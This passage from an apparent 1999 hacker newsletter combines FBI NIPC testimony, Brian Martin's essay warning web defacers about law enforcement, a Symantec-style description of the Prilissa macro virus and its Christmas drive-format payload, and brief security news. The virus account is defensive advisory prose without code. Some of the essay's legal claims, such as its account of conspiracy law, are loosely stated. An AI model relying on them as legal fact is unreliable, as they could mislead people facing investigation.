crimes and infrastructure protection, as well as representatives detailed from the Department of Defense, Intelligence Community and Lead Agencies.1 Second, pursuant to the PDD, the NIPC has electronic links to the rest of the government in order to facilitate the sharing of information and the timely issuance of warnings. Third, the PDD directs all executive departments and agencies to "share with the NIPC information about threats and warning of attacks and actual attacks on critical government and private sector infrastructures, to the extent permitted by law." By bringing other agencies directly into the Center and building direct communication linkages, the Center provides a means of coordinating the government's cyber expertise and ensuring full sharing of information, consistent with applicable laws and regulations. To accomplish its goals under the PDD, the NIPC is organized into three sections: 1) The Computer Investigations and Operations Section (CIOS) is the operational and response arm of the Center. It program manages computer intrusion investigations conducted by FBI Field Offices throughout the country; provides subject matter experts, equipment, and technical support to cyber investigators in federal, state, and local government agencies involved in critical infrastructure protection; and provides a cyber emergency response capability to help resolve a cyber incident. 2) The Analysis and Warning Section (AWS) serves as the "indications and warning" arm of the NIPC. The AWS reviews numerous government and private sector databases, media, and other sources daily to disseminate information that is relevant to any aspect of NIPC's mission, including the gathering of indications of a possible attack. It provides analytical support during computer intrusion investigations, performs analyses of infrastructure risks and threat trends, and produces current analytic products for the national security and law enforcement communities, the owners-operators of the critical infrastructures, and the computer network managers who protect their systems. It also distributes tactical warnings, alerts, and advisories to all the relevant partners, informing them of exploited vulnerabilities and threats. 3) The Training, Outreach and Strategy Section (TOSS) coordinates the training and continuing education of cyber investigators within the FBI Field Offices and other federal, state and local law enforcement agencies. It also coordinates our liaison with private sector companies, state and local governments, other government agencies, and the FBI's Field Offices. In addition, this section manages our collection and cataloguing of information concerning "key assets" -- i.e., critical individual components within each infrastructure sector, such as specific power grids, telecommunications switch nodes, or financial systems -- across the country. To facilitate our ability to investigate and respond to attacks, the FBI has created the National Infrastructure Protection and Computer Intrusion (NIPCI) Program in the 56 FBI Field Offices across the country. Under this program, managed by the NIPC at FBIHQ, "NIPCI" squads consisting of at least seven agents have been created in 10 Field Offices: Washington D.C., New York, San Francisco, Chicago, Dallas, Los Angeles, Atlanta, Charlotte, Boston, and Seattle. For FY 2000, we intend to reallocate our existing field agent compliment to create six additional squads in Baltimore, Houston, Miami, Newark, New Orleans, and San Diego. Because of resource constraints, the other field offices have only 1 - 5 agents dedicated to working NIPCIP matters. The NIPC's mission clearly requires the involvement and expertise of many agencies other than the FBI. This is why the NIPC, though housed at the FBI, is an interagency center that brings together personnel from all the relevant agencies. In addition to our 79 FBI employees, the NIPC currently has 28 representatives from: DoD (including the military services and component agencies), the CIA, DOE, NASA, the State Department as well as federal law enforcement, including the U.S. Secret Service, the U.S. Postal Service and, until recently, the Oregon State Police. The NIPC is in the process of seeking additional representatives from State and local law enforcement. But clearly we cannot rely on government personnel alone. Much of the technical expertise needed for our mission resides in the private sector. Accordingly, we rely on contractors to provide technical and other assistance. We are also in the process of arranging for private sector representatives to serve in the Center full time. In particular, the Attorney General and the Information Technology Association of America (ITAA) announced in April that the ITAA would detail personnel to the NIPC as part of a "Cybercitizens Partnership" between the government and the information technology (IT) industry. Information technology industry representatives serving in the NIPC would enhance our technical expertise and our understanding of the information and communications infrastructure. NIPC Activities The NIPC's operations can be divided into three categories: protection, detection, and response. Protection Our role in protecting infrastructures against cyber intrusions is not to advise the private sector on what hardware or software to use or to act as their systems administrator. Rather, our role is to provide information about threats, ongoing incidents, and exploited vulnerabilities so that government and private sector system administrators can take the appropriate protective measures. The NIPC is developing a variety of products to inform the private sector and other government agencies of threats, including: warnings, alerts, and advisories; the Infrastructure Protection Digest; Critical Infrastructure Developments; CyberNotes; and topical electronic reports. These products are designed for tiered distribution to both government and private sector entities consistent with applicable law and the need to protect intelligence sources and methods, and law enforcement investigations. For example, the Infrastructure Protection Digest is a quarterly publication providing analyses and information on critical infrastructure issues. The Digest provides analytical insights into major trends and events affecting the nation's critical infrastructures. It is usually published in both classified and unclassified formats and reaches national security and civilian government agency officials as well as infrastructure owners. Critical Infrastructure Developments is distributed bi-weekly to private sector entities. It contains analyses of recent trends, incidents, or events concerning critical infrastructure protection. CyberNotes is another NIPC publication designed to provide security and information system professionals with timely information on cyber vulnerabilities, hacker exploit scripts, hacker trends, virus information, and critical infrastructure-related best practices. It is published twice a month on our website and disseminated in hard copy to government and private sector audiences. The NIPC, in conjunction with the private sector, has also developed an initiative called "InfraGard" to expand direct contacts with the private sector infrastructure owners and operators and to share information about cyber intrusions and exploited vulnerabilities, with the goal of increasing protection of critical infrastructures. The initiative encourages the exchange of information by government and private sector members through the formation of local InfraGard chapters within the jurisdiction of each of the 56 FBI Field Offices. The initiative includes an intrusion alert network using encrypted e-mail, a secure website and local chapter activities. A critical component of InfraGard is the ability of industry to provide information on intrusions to the NIPC and the local FBI Field Office using secure communications in both a detailed and a "sanitized" format. The local FBI Field Offices can, if appropriate, use the detailed version to initiate an investigation, while the NIPC can analyze that information in conjunction with law enforcement, intelligence, open source, or other industry information to determine if the intrusion is part of a broader attack on numerous sites. The NIPC can simultaneously use the sanitized version to inform other members of the intrusion without compromising the confidentiality of the reporting company. InfraGard also provides us with a regular, secure method of providing additional security related to information to the private sector based on information we obtained from law enforcement investigations and other sources. InfraGard has recently been expanded to a total of 21 FBI Field Offices. The program will be expanded to the rest of the country later this year. Under PDD-63, the NIPC also serves as the U.S. government's "Lead Agency" for the Emergency Law Enforcement Services Sector. As Sector Liaison for law enforcement, the NIPC and a "Sector Coordinator" committee representing state and local law enforcement are formulating a plan to reduce the vulnerabilities of state and local law enforcement to cyber attack and are developing methods and procedures to share information within the sector. The NIPC and the FBI Field Offices are also working with the State and local law enforcement agencies to raise awareness with regard to vulnerabilities in this sector. Detection Given the ubiquitous vulnerabilities in existing Commercial Off-the-Shelf (COTS) software, intrusions into critical systems are inevitable for the foreseeable future. Thus, detection of these intrusions is critical if the U.S. Government and critical infrastructure owners and operators are going to be able to respond. To improve our detection capabilities, we first need to ensure that we are fully collecting, sharing, and analyzing all extant information from all relevant sources. It is often the case that intrusions can be discerned simply by collecting bits of information from various sources; conversely, if we don't collate these pieces of information for analysis, we might not detect the intrusions at all. Thus the NIPC's role in collecting information from all sources and performing analysis in itself aids the role of detection. The NIPC is currently concentrating on developing and implementing reliable mechanisms for receiving, processing, analyzing and storing information provided by government and private sector entities. This information is being used by NIPC analysts to develop tactical and strategic warning indicators of cyber threats and attacks. The NIPC and North American Energy Reliability Council (NERC) have established an industry-based Electric Power Working Group to develop tactical warning indicators and information sharing procedures for the electric power sector. The NIPC also has developed mechanisms to share cyber incident information with both government agencies and private companies in the telecommunications sector. In the long-term, our indications and warning efforts will require participation by the Intelligence Community, DoD, the sector lead agencies, other government agencies, federal, State and local law enforcement, and the private sector owners and operators of the infrastructures. Another initiative that will aid in the detection of network intrusions is the "Federal Intrusion Detection Network" ("FIDNet"), a National Security Council initiative that would be managed by the General Services Administration. Many agencies already have their own intrusion detection systems. FIDNet will enhance agencies' cyber security by linking their intrusion detection systems together so that suspicious patterns of activity can be detected and alerts issued across agencies. The goal of FIDNet is to detect intrusions in the federal civilian agencies' critical computer systems. (Contrary to recent press reports, FIDNet will not extend to private sector systems.) To do this, critical network event data will be captured and analyzed so that patterns can be established and, in the event of an attack, warnings issued. FIDNet will be the civilian agency counterpart for the automated detection system currently deployed across Department of Defense systems. FIDNet, under current plans, will consist of the following: sensors at key network nodes; a centrally managed GSA facility, the Federal Intrusion Detection Analysis Center (FIDAC), to analyze the technical data from the nodes; and secure storage and dissemination of collected information. The NIPC will receive reports from the FIDAC when there is evidence of a possible federal crime (such as a violation of 18 U.S.C §1030). Using all-source information, the Center would then analyze intrusions and other significant incidents to implement response efforts and support and inform national security decision-makers. FIDNet-derived information would also be combined with all-source reporting available to the NIPC to produce analysis and warning products which will be distributed to government, private sector companies, and the public, as appropriate. Response The NIPC's and the FBI's role in response principally consists of investigating intrusions to identify the responsible party and issuing warnings to affected entities so that they can take appropriate protective steps. As discussed earlier, in the cyber world, determining what is happening during a suspected intrusion is difficult, particularly in the early stages. An incident could be a system probe to find vulnerabilities or entry points, an intrusion to steal or alter data or plant sniffers or malicious code, or an attack to disrupt or deny service. The cyber crime scene is totally different from a crime scene in the physical world in that it is dynamic -- it grows, contracts, and can change shape. Determining whether an intrusion is even occurring can often be difficult in the cyber world, and usually a determination cannot be made until after an investigation is initiated. In the physical world, by contrast, one can see instantly if a building has been bombed or an airliner brought down. Further, the tools used to perpetrate a cyber terrorist attack can be the same ones used for other cyber intrusions (simple hacking, foreign intelligence gathering, organized crime activity to steal data, etc.), making identification and attribution more difficult. The perpetrators could be teenagers, criminal hackers, electronic protestors, terrorists, foreign intelligence services, or foreign military. In order to attribute an attack, FBI Field Offices can gather information from within the United Sates using either criminal investigative or foreign counter-intelligence authorities, depending on the circumstances. This information is necessary not only to identify the perpetrator but also to determine the size and nature of the intrusion: how many systems are affected, what techniques are being used, and what the purpose of the intrusions is--disruption, espionage, theft of money, etc. Relevant information also could come from the U.S. Intelligence Community (if the attack is from a foreign source), other U.S. government agency information, state and local law enforcement, private sector contacts, the media, other open sources, or foreign law enforcement contacts. The NIPC's role is to coordinate and collect this information. On the warning side, if we determine an intrusion is imminent or underway, the Watch and Warning Unit is responsible for formulating warnings, alerts, or advisories and quickly disseminating them to all appropriate parties. If we determine an attack is underway, we can issue warnings using an array of mechanisms, and send out sanitized and unsanitized warnings to the appropriate parties in the government and the private sector so they can take immediate protective steps. The Center has issued 22 warnings, alerts, or advisories between January 4 and September 22, 1999. Two other NIPC initiatives are directed to improving our response capabilities. First, to respond appropriately, our field investigators need the proper training. Training FBI and other agencies' investigators is critical if we hope to keep pace with the rapidly changing technology and be able to respond quickly and effectively to computer intrusions. The NIPC has been very active in training. These training efforts will help keep us at the cutting edge of law enforcement and national security in the 21st Century. The Center provided training to 314 attendees in FY 1998. In FY 99, over 383 FBI Agents, state and local law enforcement representatives, and representatives from other government agencies have taken FBI-sponsored courses on computer intrusions and network analysis, the workings of the energy and telecommunications key assets, and other relevant topics. Second, our Key Asset Initiative (KAI) facilitates response to threats and intrusion incidents by building liaison and communication links with the owners and operators of individual companies in the critical infrastructure sectors and enabling contingency planning. The KAI began in the 1980s and focused on physical vulnerabilities to terrorism. Under the NIPC, the KAI has been reinvigorated and expanded to focus on cyber vulnerabilities as well. The KAI initially will involve determining which assets are key within the jurisdiction of each FBI Field Office and obtaining 24-hour points of contact at each asset in cases of emergency. Eventually, if future resources permit, the initiative will include the development of contingency plans to respond to attacks on each asset, exercises to test response plans, and modeling to determine the effects of an attack on particular assets. FBI Field Offices will be responsible for developing a list of the assets within their respective jurisdictions, while the NIPC will maintain the national database. The KAI is being developed in coordination with DOD and other agencies. Conclusion While the NIPC has accomplished much over the last year in building the first national-level operational capability to respond to cyber intrusions, much work remains. We have learned from cases that successful network investigation is highly dependent on expert investigators and analysts, with state of the art equipment and training. We have begun to build that capability both in the FBI Field Offices and at NIPC Headquarters, but we have much work ahead if we are to build our resources and capability to keep pace with the changing technology and growing threat environment and be capable of responding to several major incidents at once. We have also demonstrated how much can be accomplished when agencies work together, share information, and coordinate their activities as much as legally permissible. But on this score, too, more can be done to achieve the interagency and public-private partnerships called for by PDD- 63. We need to ensure that all relevant agencies are sharing information about threats and incidents with the NIPC and devoting personnel and other resources to the Center so that we can continue to build a truly interagency, "national" center. Finally, we must work with Congress to make sure that policy makers understand the threats we face in the Information Age and what measures are necessary to secure our Nation against them. I look forward to working with the Members and Staff of this Committee to address these vitally important issues. Thank you. 1 The Lead Agencies are: Commerce for information and communications; Treasury for banking and finance; EPA for water supply; Transportation for aviation, highways, mass transit, pipelines, rail, and waterborne commerce; Justice/FBI for emergency law enforcement services; Federal Emergency Management Agency for emergency fire service and continuity of government; Health and Human Services for public health services. The Lead Agencies for special functions are: State for foreign affairs, CIA for intelligence, Defense for national defense, and Justice/FBI for law enforcement and internal security. The NIPC is performing the lead agency and special functions roles specified for "Justice/FBI" in the PDD. @HWA 04.0 Defacing Websites: Is it Worth It? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Brian Martin Why have there been so many web page defacements and so few arrests lately? What should you do if Law Enforcement comes knocking at your door looking to take all your computer equipment and other electronic equipment and media. Brian Martin takes a look at these questions and more in the latest Buffer Overflow article, "Is it worth it." Buffer Overflow http://www.hackernews.com/orig/buffero.html Is it worth it? Dispelling the myths of law enforcement and hacking By: Brian Martin A recent chat with an active web page defacer made me realize just how naive some crackers can be about law enforcement (LE). Despite a large amount of cases being brought against crackers in the past, there is still an air of uncertainty and a handful of myths lingering in their minds. The problem can be tracked back to two types of individuals that contribute to the problem. I will touch a bit on the problem and spend the rest of this piece trying to clear up some of the myths, as well as bring to light new developments in law enforcement's handling of computer crime. The first and foremost problem is uninformed individuals that propogate (or make up) supposed facts about law enforcement procedure. Rather than using common sense to dispel the rumor or taking a little time to research what they say, they blindly pass on errata and treat it as gospel. A good example of this can be found in "Inside Happy Hacker, Jan. 19, 1999", where Carolyn Meinel asserts "They have *not* sent me (Carolyn) a "target letter." This is a letter that formally tells someone that he or she is a suspect." There is absolutely no foundation for this outlandish rumor. Anyone under FBI investigation should know this. Meinel was questioned extensively about her involvement in the defacing of the New York Times web site. Despite this questioning and obvious investigation, she still made this ridiculous claim. The FBI investigation went so far as to ask her to take a polygraph test! Going against track record, Meinel did the right thing and refused to. More on polygraphs later. The second problem arises from those close to, or involved in an FBI raid and investigation. After waking to gunpoint and watching agents harass family and sometimes neighbors, they see all of their equipment carted out the door. Inevitably, the first thing they do is call their friends and warn them about what happened. Adrenaline still pumping, they tend to exaggerate the events that just occured. A question about another cracker may lead to "Dood, Joe.. they are coming to raid you next!" One thing often doesn't mean another. So, let's set some minds at ease and answer questions about how law enforcement works. Disclaimer: If anything in this article is incorrect, please e-mail me and let me know! The information presented here is accurate to the best of my knowledge. I have consulted with one FBI agent and two DCIS agents to verify as much as I could. Sections: 1. Who's investigating you? 2. LE Resources 3. The Raid 4. What are they charging me with? 5. The Polygraph 6. Copping a plea 7. Punishment 8. Why haven't they busted me yet? Who's investigating you? There are at least five agencies that investigate computer crime in the United States. For computer crimes that do not involve crossing state lines (PBX hacking, local dialins, etc), many state or city LE agencies are equipped to investigate. Some state LE offices have a dedicated officer with adequate resources to investigate with no external help. Computer crimes that involve crossing state lines brings two more agencies to bear. The Federal Bureau of Investigation (FBI) is the primary agency chartered to handle domestic interstate computer hacking. In the late 80's and early 90's, these investigations were handled by the Secret Service (SS). With a few rare exceptions, the Secret Service no longer handles computer crime investigation. Some of these exceptions are the hacking of White House machines (unconfirmed rumor) and hacking that involves threats to the President or other specific individuals. The third agency that comes into play is the Defense Criminal Investigative Service (DCIS). When hacks occur that involve military machines (.mil), DCIS is brought in to investigate. These agents often work closely with the FBI and have liason agents that spends most of their time working side by side with the FBI. DCIS agents are gun toting, badge carrying, door kicking agents just like the FBI. When not investigating computer crime, they are responsible for most criminal investigations that occur on US Military bases. The fourth agency is the Air Force Office of Special Investigations (AFOSI). Any computer intrusion into a United States Air Force machine falls into their domain. They operate primarily out of a Washington field office, and work with DCIS when needed. What NASA lacks in security, they make up for in the investigative department. National Aeronautics and Space Administration, Office of Inspector General (NASA OIG) is a highly regarded branch of NASA that investigates intrusions into their networks. Considered by some investigators to be the top of the food chain, they certainly have a large quantity of work. If you deface a web site, any one of these (or all of them) may be investigating you. Like many government agencies, the FBI is not well known for inter office communication skills. There have been times when multiple agents investigated the same individual without knowledge of the other. This communication problem extends to DCIS despite their liason agents to the FBI. Rest assured, at least one of the three does have an investigation into the defacement. In the past few months I have been told by several defacers "Dood, the NSA is investigating me!" Hate to burst your bubble, but I seriously doubt it. The National Security Agency (NSA) does not even have the power to arrest. With a few exceptions (I imagine), they do not carry guns and they do not spy on you every second. I will not debate what power they do have, but those things I am pretty sure of. Suffice it to say, even if they were keeping tabs on you and your actions, it is the least of your worries. Any evidence they collect is not shared with the FBI, and would have to be explained in court how it was obtained. Do you think the NSA will admit to monitoring domestic communication over a few web page defacements? ;) For active defacers and crackers in the United Kingdom, you will be investigated by the Computer Crime Unit (CCU) at Scotland Yard. LE Resources On top of entire labs dedicated to investigating computer crime, most law enforcement uses an entirely different set of resources for the initial investigation. Unbeknownst to many active crackers, it is their own words and actions that lead to trouble. Rather than admit they were careless, conspiracy theory and games of "who's the narc" come up. Law Enforcement uses the same resources you do. They view web sites that mirror defacements. They read bugtraq and other sites that talk about new vulnerabilities. They read hacker social lists like dc-stuff and web based BBSs. They IRC quite frequently, and do so under fairly innocent names. Certainly nothing that screams their real identity. Add all of that up, and they can typically build a good profile of any given cracker with little to no effort. The Raid There is nothing quite like waking up to the unfriendly barrel of a 9mm and large armored man pointing it at you. Equally disturbing is watching them parade your roomate or family half naked out to a central room or front porch while the agents secure the residence. LE raids are pretty straight forward. They come in with a Search and Seizure warrant that gives them the right to confiscate anything pertaining to the investigation. This includes everything from computers, to books, to ANY media including tapes, CDROMs, console cartridges and more. During this process you are questioned by several agents. This is where you invoke your right to have a lawyer present during questioning. Do not be hostile or insulting to the agents, just give them relevant information like name, birthdate and vital information. Before they begin the search, you should do two things. First, ask to see their identification and verify who they are. Second, ask to see a copy of the warrant. Some agents will not comply with either demand. Deal with it, they have guns and bad attitudes. You cannot reason with them. During the questioning take notes. You have the right to have pencil and paper there, but you may not record the conversation or have a witness present. Assume that they are recording the conversation despite what they say. When they ask if you have any traps set to destroy computer equipment if tampered with, tell the truth. If you do not divulge that type of information and it results in an agent getting hurt, your life will not be pleasant and Title 18 will be the least of your concerns. During the raid they will use all sorts of tactics during questioning. The familiar good cop/bad cop routine, the "let's be friends after this", harsh and accusing, and the all time favorite, outright lying. Yes, those oh-so-noble agents will lie to you, all the while bantering about how important honesty is. They are not required to tell you the truth, so don't think otherwise. At the conclusion of the raid, you should be left with a copy of the warrant, contact information for at least one agent, and a receipt for all material confiscated. If you are not left with those three items, immediately contact a lawyer and get advice on how to procede. Despite there being rights and laws to protect you, FBI agents often overlook them. What are they charging me with? As many people know, computer crime falls under US Title 18 code. For each system you intrude on, LE can charge you with at least one (usually more) count of violating Title 18. There are adequate papers and web pages that cover this, so I won't go into much detail. Instead, there are two other aspects which many people aren't aware of that are worse than Title 18. These are the laws you should truly fear. The first is Conspiracy. If your friend defaces a web site, you could go to jail as scary as it may sound. Having prior knowledge of, or being an accessory to the crime makes you guilty of Conspiracy. As a responsible law abiding citizen, if you have knowledge of a crime that is about to be, or has been committed, you must report it to the proper authorities. If you make no effort to stop the crime and at the very least report it before it occurs, you are just as guilty as the perpetrator of the crime. What makes this worse than Title 18 violation is the proof. A court of law only has to establish that you knew about the crime and did not act accordingly in order to convict you of it. One IRC chat log, one piece of mail confiscated from a machine, or one recorded phone call (or conference call) is all it takes. The second set of laws you could conceivably be charged with is much more sinister. They apply to any hacking or defacing of government or military servers. From what I understand, DCIS agents are using this effectively to guarantee prosecution and encourage plea bargains. Rather than charge the cracker with US Title 18, Chapter 47, 1030, they revert to US Title 18, Chapter 119, 2511, which covers disruption and/or interception of communication of US Government and Military computers. By denying service or intercepting communications to or from a government system, you are committing a different crime than those covered under Chapter 47. DCIS was quite clever in using this one as it is apparently easier to prove in court. The Polygraph The Polygraph test analyzes various physiological reactions to questions asked of you. Based on these reactions, they try to determine if you are lying. Sounds like the ultimate law enforcement tool right? Wrong. The courts have ruled that polygraph test results are inadmissible in court. The FBI and other LEs use the poly as a guideline to help steer their investigation. Asking someone to take one is one of many ways LE forces people into a Catch-22 of sorts. If you take it, you can't lie about anything. Worse, you can't get nervous as that could affect the results. If you decline the polygraph, the LE agency will imply or outright accuse you of declining because of guilt. Regardless of their request, decline all polygraph requests! A polygraph can rarely help you. Even if you did not commit a crime and say so under poly, it will never see a court. If the LE chooses to bring a case against you anyway, taking the test will not have helped. Copping a plea If the investigation progresses to the point of them pressing charges against you, the prosecuting attorney and agent may approach you to cut a deal. First and most important warning! LE Agents do NOT have the ability to cut deals! They can recommend certain actions to the prosecution, but have no power to cut a deal themselves. There are two points in the investigation that LE agents may approach you to cut a deal: before and/or after pressing charges. If an agent comes to you promising a sweet deal without pressing charges, smile to yourself. No charges, no reason to cut a deal. This is another ploy used to encourage you to admit to a crime. Once the prosecuting attorney presses charges, they may come to you looking for you to cut a deal. One thing this will entail is admitting to some or all of the crimes you stand accused of. Some of the other things they may look for: 1. Admission of other crimes you haven't been accused of. 2. A list of additional systems you have or can access. 3. Cooperation in busting other individuals. --a. Current information you possess on other cracker activity (aka narc) --b. Gaining additional information via logged chat or recorded calls. (aka informant) Punishment It is very difficult to guess what type of punishment you can expect to get if caught and convicted. Relevent factors that affect this are your age, level of crime, whether you are a repeat offender, if you cut a deal and more. Because most cracker cases never reach trial, there is little case history to draw off and try to isolate any trends. For the most part, cases end in a deal that involves little jail time, long probation, community service and fines. If convicted, you can expect all of the above. Why haven't they busted me yet? One of the most often asked questions by young hackers is, "Why haven't they raided me yet?" Seemingly the best evidence to support the theory that they are not being investigated, it is a lack of understanding on how the feds work, nothing more. Once an investigation begins, federal agents will do as much work on the case as humanly possible without running the chance of alerting the individual. This means that subpoenas or anything else that could get back to the target comes when all other resources have been exhausted. Once all of the evidence is processed and the case formed, agents will make sure they have a case. Case information in hand, they take it to a judge to get a search and seizure warrant in order to accumulate more information. Once the judge issues this warrant, it is sometimes a matter of hours before they execute it and knock on the door. Because of the order of events and the way they work, it is quite likely you will not know of an investigation until you are looking down the barrel of a gun. "But, it's been six months since I did anything!" Another good observation, but still naive. While the federal agents are investigating you, they are also investigating dozens, maybe hundreds of other people. Each agent works day to day with several cases open, contributing to several as they make phone calls and do research. It is not uncommon that with the amount of cases, they become backlogged. Six months? You aren't in the clear. In Conclusion Defacing a web page, especially one run by the government, is a serious crime. With the recent rash of government/military defacements, one has to wonder if the defacers are aware of the potential repurcussions of their actions. Is replacing a web page with a hastily written one or two line text message worth going to jail for? No justification of 'hacktivism', free security audit, or any other shallow attempt to justify defacing holds up. No court will buy it, no agent will go easy on you for it. "0wn3d by h4ckerX, fuk da gov. greetz to bob" "hacked for my true love Meg!$!$@$" Are either of those messages really worth rotting in jail for a year? At the end of which you are not allowed to touch a computer or cell phone? Did you really accomplish anything or get a message across? I certainly think not. Brian Martin (bmartin@attrition.org) Copyright 1999 @HWA 05.0 Christmas Brings Joy For Prilissa ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by no0ne A combination of Melissa and PRI, a new virus dubbed "Prilissa", has the capability to reformat your hard drive. If activated before Christmas day the payload will wait until the 25th before it attempts to reformat your drive. It is another one of those viruses that spreads via e-mail and takes advantage of security holes in both Microsoft Outlook and Outlook Express to replicate. C|Net http://news.cnet.com/news/0-1006-200-1455135.html?dtn.head MSNBC http://www.msnbc.com/news/337425.asp Symantec http://www.symantec.com/avcenter/venc/data/w97m.prilissa.a.html C|Net; Christmas virus could reformat hard drives By John Borland Staff Writer, CNET News.com November 19, 1999, 4:40 p.m. PT This is worse than a lump of coal. A new quick-spreading computer virus that can reformat a victim's computer hard drive on Christmas has been detected, and already appears to have cropped up on three continents, antivirus researchers said. Dubbed "Prilissa," the malicious code is a combination of Melissa, an earlier virulent virus spread via email, and another program called PRI. It follows an increasingly common trend of using security holes in Microsoft's Outlook and Outlook Express to spread itself through email. "Come Christmas day, you could turn on your computer to play a new game or whatever, and it reformats your hard drive," said Sal Viveros, group marketing manager for the antivirus division of Network Associates. While potentially dangerous for users, the increased visibility of these viruses has been a boon for antivirus companies such as Network Associates and Trend Micro, which have seen sales of antivirus software skyrocket. Researchers at Network Associates antivirus labs say they discovered Prilissa two days ago and deemed it a low risk, since it had not yet surfaced "in the wild," or on the Internet at large. But today at least 10 Fortune 500 companies scattered across Europe, the United States and Australia called in reports about the virus, the company said. The code draws from both of its predecessors. Like Melissa, the virus comes as an attachment in an email. Once opened, the virus will email itself to the first 50 addresses in an infected computer's email contact list. From the PRI code, it inserts random colored squares into a user's documents. But unlike its predecessors, which mostly only led to excessive email traffic, Prilissa carries a destructive kick. If opened, a user's hard drive could get re-configured. The virus appears in mailboxes purporting to be a message from the last infected user. The body of an email will read "This document is very important and you've GOT to read this!!" The document itself can be whatever Microsoft Word file the last victim was using when the virus sent itself out, raising the risk that confidential documents could accidentally be released to a huge number of people. Although the virus can only replicate itself through Microsoft Outlook, the payload can infect any PC running Windows 95 or 98. Put another way, consumers who use Eudora Pro can get infected, but they can't spread the virus. Unlike a dangerous new variant seen with the "Bubbleboy" virus, Prilissa requires a victim to click on the infected email attachment in order to launch itself and infect the users' computer. Some existing antivirus protections against Melissa will stop Prilissa from spreading without being updated, Viveros said. MSNBC; Christmas virus hits big companies W97M/Prilissa — a bug whose payload is set to go off Christmas Day — strikes Fortune 500 firms on three continents By Jim Kerstetter PC Week ZDNN Nov. 19 — It’s called the W97M/Prilissa virus. But a better name for it would be the Grinch virus. Anti-virus researchers at Network Associates Inc. said Friday that 10 Fortune 500 companies on three continents have been hit with a new virus called W97/Prilissa. Prilissa is a nasty variant on two better known attacks — the Melissa worm and the PRI virus. The virus depends on the Windows 95 and 98 operating systems and the Word 97 word processing application. IF OPENED, IT WILL E-MAIL itself to the first 50 names on a computer’s Outlook or Outlook Express e-mail client. (Windows, Outlook and Outlook Express are products of Microsoft, which is a partner in MSNBC.) This is probably the fastest infection rate we’ve seen since Melissa, said Sal Viveros, anti-virus product manager at Network Associates, in Santa Clara, Calif. The virus uses macro commands similar to those of Melissa to replicate itself. But the virus itself won’t go off until Christmas day. That means it won’t have much of an impact on companies, which aren’t likely to be open on that day, even if it should go undetected. But there is a big threat to home PC users, particularly unsuspecting children logging onto the computer to play with their new games on Christmas. The Dr. Suess analogies are endless. The virus itself looks for a registry key to verify if the local system has been infected. If it hasn’t, the virus creates a Microsoft Outlook e-mail message with the subject line “Message From (Office 97 user name)” and a message body that says “This document is very Important and you’ve GOT to read this!!!” The first 50 listings from all address books are selected, along with an attachment — the infected document, whatever it is. If the date is Dec. 25, the virus runs a destructive payload to overwrite the existing C:/AUTOEXEC.BAT file with instructions to format the C: drive. The virus will not run on Windows NT. Another message is displayed on Word 97, adding: “You Dare Rise Against Me ... The Human Era is Over, The CyberNET Era Has Come!!!” Most anti-virus vendors are expected to have a definition update and fix prepared within the next few hours. It’s unclear who will carve the roast beast. Symantec; W97M.Pri.Q / W97M.Prilissa.A Detected as: W97M.Antisocial.G Aliases: W97M.Melissa.W, W97M.Prilissa.A Area of Infection: MS Word Document Likelihood: Common Characteristics:Polymorphic, Trigger Norton AntiVirus users can protect themselves from this virus by downloading the current virus definitions either through LiveUpdate or from the Virus Definition download page Technical Notes The W97M.Pri.Q virus infects Word 97 documents. It also spreads by sending an infected document as an attachment to an e-mail message. This is another variant of the W97M.Melissa.A virus. Because of the unknown virus and variant detection technology in Norton AntiVirus, the currently virus definitions will detect this new virus as W97M.AntiSocial.G. This technology will allow Norton AntiVirus users to detect and repair W97M.Pri.Q without having a signature for this specific virus. Symantec AntiVirus Research Center will update the virus definitions to detect this virus as W97M.Pri.Q in the future virus definition files. When an infected document is opened, the virus disables virus protection security settings, conversion confirmation and recently opened file list. The first time the virus is executed on a system, it sends e-mail using MS Outlook to the first 50 addresses in each of the address lists. The message contains "Message From {username}" in the subject line where {username} is the user name on the system. The body of the message contains "This document is very Important and you've GOT to read this !!!". The infected document is sent as an attachment to the message. The virus modifies the Windows registry so that it does not send e-mail upon subsequent execution of the virus. Next, the virus checks the date on the system to trigger its payload. On Dec. 25, the following text is displayed in a message box: ©1999 - CyberNET Vine…Vide…Vice…Moslem Power Never End… You Dare Rise Against Me… The Human Era is Over, The CyberNET Era Has Come !!! Then, the virus copies itself to the global template in NORMAL.DOT. Once, NORMAL.DOT is infected, the virus infects documents when the file is closed from Word. It also disables the Tools/Macro menu so that the viral macros are hidden. Some of the variable and function names in the viral code change upon replication. The virus keeps a list of labels in its code. Upon infection, the virus randomly changes each of the labels to another label in the list. Payload On December 25, several payloads are triggered. The virus displays the message box mentioned above. It also overlays several colored shapes onto the currently opened document. In addition, it overwrites the AUTOEXEC.BAT to format the C: drive and display the following text upon the next reboot of the system: Vine…Vide…Vice…Moslem Power Never End… Your Computer Have Just Been Terminated By -= CyberNET =- Virus !!! Update Virus Definitions Norton AntiVirus users can protect themselves from this virus by downloading the current virus definitions either through LiveUpdate or from the Virus Definition download page Write-up by: Wason Han November 19, 1999 @HWA 06.0 Norway Sets Wiretapping Agreement ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by luyten The Norwegian justice department, in cooperation with Norway's two biggest telecommunications companies (NetCom and Telenor), have invested 9.2 million dollars on a technical and economic solution to tap into and listen to any GSM phone. Nettavisen - Norwegian http://www.nettavisen.no/it_nyheter/81912.html @HWA 07.0 Cable Pirates Busted in Cali ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by Evil Wench When Time Warner detectives saw an advertisement for cable boxes in a Filipino newspaper they called the Sheriffs Department. After following a trail form a Post Office box in Nevada to to a business in Las Vegas they arrived at the home of Bau Nguyen in La Canada Flintridge, California. There investigators seized over 350 illegal cable descrambling boxes used for pirating cable TV. The boxes are estimated to be worth $2 million. (They also supposedly seized an 'e-prompt' burner. Bwaahahaha. Hmmm, 350 boxes for 2mil that is almost 6 Grand per box, yeah right.) LA Times http://www.latimes.com/news/state/19991120/t000105828.html (Membership) @HWA 08.0 Pandora 4.0 Beta2 Now Available ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com/ contributed by WeldPond Pandora is a set of tools for testing the security and insecurity of Novell Netware. Pandora v4 Beta 2, both offline and online versions, have been released by the Nomad Mobil Research Center. Pandora Home Page http://www.nmrc.org/pandora/index.html @HWA 09.0 